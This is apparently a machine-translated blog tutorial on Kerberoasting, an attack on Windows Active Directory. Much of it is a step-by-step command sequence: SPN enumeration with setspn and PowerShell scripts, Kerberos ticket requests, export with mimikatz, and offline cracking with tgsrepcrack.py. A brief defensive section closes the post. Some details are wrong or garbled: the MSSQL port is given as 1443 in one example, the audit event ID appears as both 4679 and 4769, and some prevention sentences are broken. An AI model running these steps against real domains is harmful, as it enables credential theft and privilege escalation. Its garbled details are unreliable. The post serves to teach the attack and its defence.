Intranet Security: SPN in domain environment

Solemnly declare:
This note is only prepared for the purpose of improving safety knowledge and sharing safety knowledge with more people. Do not use the technology in the note for illegal activities. The consequences caused by using the technology in the note have nothing to do with the author himself. It is everyone's responsibility to maintain network security and jointly maintain network civilization and harmony.

1 SPN introduction

Windows domain environment is based on Microsoft's active directory service. It groups users with scattered physical locations and different departments in the network system environment, centralizes resources, effectively allocates resource access control permissions in fine granularity, and improves the security of the network environment and the convenience of unified allocation and management of network resources. A large number of applications running in the domain environment contain a variety of resources, which facilitates the rational grouping, classification and redistribution of resources. Microsoft assigns a different service principal name (SPN) to each resource in the domain

In a network using Kerberos protocol for authentication, you must register SPN for the server under the built-in account (NetworkService, LocalSystem) or user account. For built-in accounts, SPN will automatically register. However, if you run the service under a domain user, you must manually register the SPN for the account you want to use. Because each server in the domain environment needs to register an SPN in the Kerberos authentication service, the attacker will directly send a query request to the domain controller to obtain the SPN of the service it needs, so as to know which machine the service resources it needs to use are on.

1.1 SPN classification

When the computer joins the domain, the master SPN will be automatically added to the ServicePrincipalName attribute of the computer account of the domain. After installing a new service, the SPN will also be recorded in the corresponding properties of the computer account.

SPN s are divided into two types: one is registered under the computer account (Computers) on AD, that is, the built-in account mentioned above, and the other is registered under the domain user account (Users)

  1. When the permission of a service is Local System or Network Service, the SPN is registered under the machine account (Computers).
  2. When the permission of a service is a domain user, the SPN is registered under the domain user account (Users).

2 SPN scan

SPN scanning is also called "scanning Kerberos service instance name". The best way to discover services in the active directory is SPN scanning. SPN scan finds services by requesting the service principal name of a specific SPN type. Compared with network port scanning, the main feature of SPN scanning is that it does not need to check the service port by connecting each IP address in the network (it will not generate a large number of warning logs due to triggering the rules of IPS, IDS and other devices in the intranet). Because SPN queries are part of Kerberos ticket behavior, detection is difficult.

2.1 SPN command format

SPN = serviceclass "/" hostname [":"port] ["/" servicename]

serviceclass: Name of the service component
hostname: "With"/"Separated from the following name, it is the name of the computer FQDN(Fully qualified domain name with computer name and domain name). 
port: Separated by colons, the following content is the port number that the service listens to.
servicename: A string that can be the distinguished name of the service(DN),objectGuid,Internet Host name or fully qualified domain name.

# MSSQL service
MSSQLSvc/computer1.pentest.com:1443

# Exchange services
exchangeMDB/computer1.pentest.com

# RDP service
TERMSRV/EXCAS01.pentest.com

# WSMan/WinRM/PSRemoting service
WSMAN/EXCAS01.pentest.com

2.2 SPN query

# View all SPN s in the current domain
setspn -q */*

# Find SPN s for the specified domain:
setspn -T test.lab -q */*

2.3 SPN scanning under PowerShell

PyroTek3/PowerShell-AD-Recon: PowerShell Scripts I find useful (github.com)

# Scan all MSSQL services in the domain
Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers

# Scan all SPN information in the domain
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices

3 SPN scanning and cracking TGS Tickets

Note: any host in the domain can query the SPN, but only the SPN registered under the domain user can be used for real attack, not the local user

3.1 registered SPN

# Manual registration
# Register SPN for SQL Server service account
setspn -A MSSQLSvc/Win7.test.lab:1433 sqlsvc

# View the SPN corresponding to the user 
setspn.exe -L test.lab\sqlsvc

# SPN query all bills
setspn -q */* | findstr "MSSQLSvc"

# Specify service login permission for user sqlsvc on AD.
gpedit.msc -- Computer configuration -- Windows set up -- security setting -- Local policy -- User permission assignment -- Log in as a service: add related users

# Modify the default Kerberos session key type locally to AES256_HMAC cannot be cracked through tgsrepcrack.py, and the session key needs to be changed to RC4_HMAC_MD5 can be cracked by script.
gpedit.msc -- Computer configuration -- Windows set up -- security setting -- Local policy -- Security options -- Network security: configuring Kerberos Allowed encryption types

3.2 request SPN Kerberos ticket

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Win7.test.lab:1433"

# View tickets in cache
klist
# Delete cached ticket
klist purge

3.3 export SPN Kerberos ticket

# Execute in mimikatz:
kerberos::list /export

3.5 use the script to crack the corresponding NTLM Hash in the bill offline

nidem/kerberoast (github.com)

python tgsrepcrack.py 1.txt "1-40a10000-test01@MSSQLSvc~Win7.test.lab~1433-TEST.LAB.kirbi"

3.4 Kerberos attack prevention in SPN

  • Ensure that the service account password is strong (length, randomness, regular modification)
  • If the attacker cannot send the default AES256_HMAC encryption mode is changed to RC4_HMAC_MD5, you cannot experiment with tgsrepcrack.py to crack the password.
  • An attacker can grab Kerberos TGS tickets by sniffing. Therefore, if the forced experiment aes256_ If the Kerberos ticket is encrypted in HMAC mode, even if the attacker obtains the Kerberos ticket, it cannot be cracked, so as to ensure the security of the active directory.
  • Many service accounts are assigned too high permissions in the intranet, and the password strength is poor. The attacker is likely to upgrade the domain user privilege to the domain administrator privilege by cracking the password of the ticket. Therefore, the permissions of the service account should be properly configured and the strength of the password should be improved.
  • When performing log audit, you can focus on the time with ID 4679 (requesting Kerberos service ticket). If there are too many 4769 logs, further check whether there is malicious behavior in the system.

Tags: http https metasploit

Posted on Wed, 01 Dec 2021 20:47:24 -0500 by coco777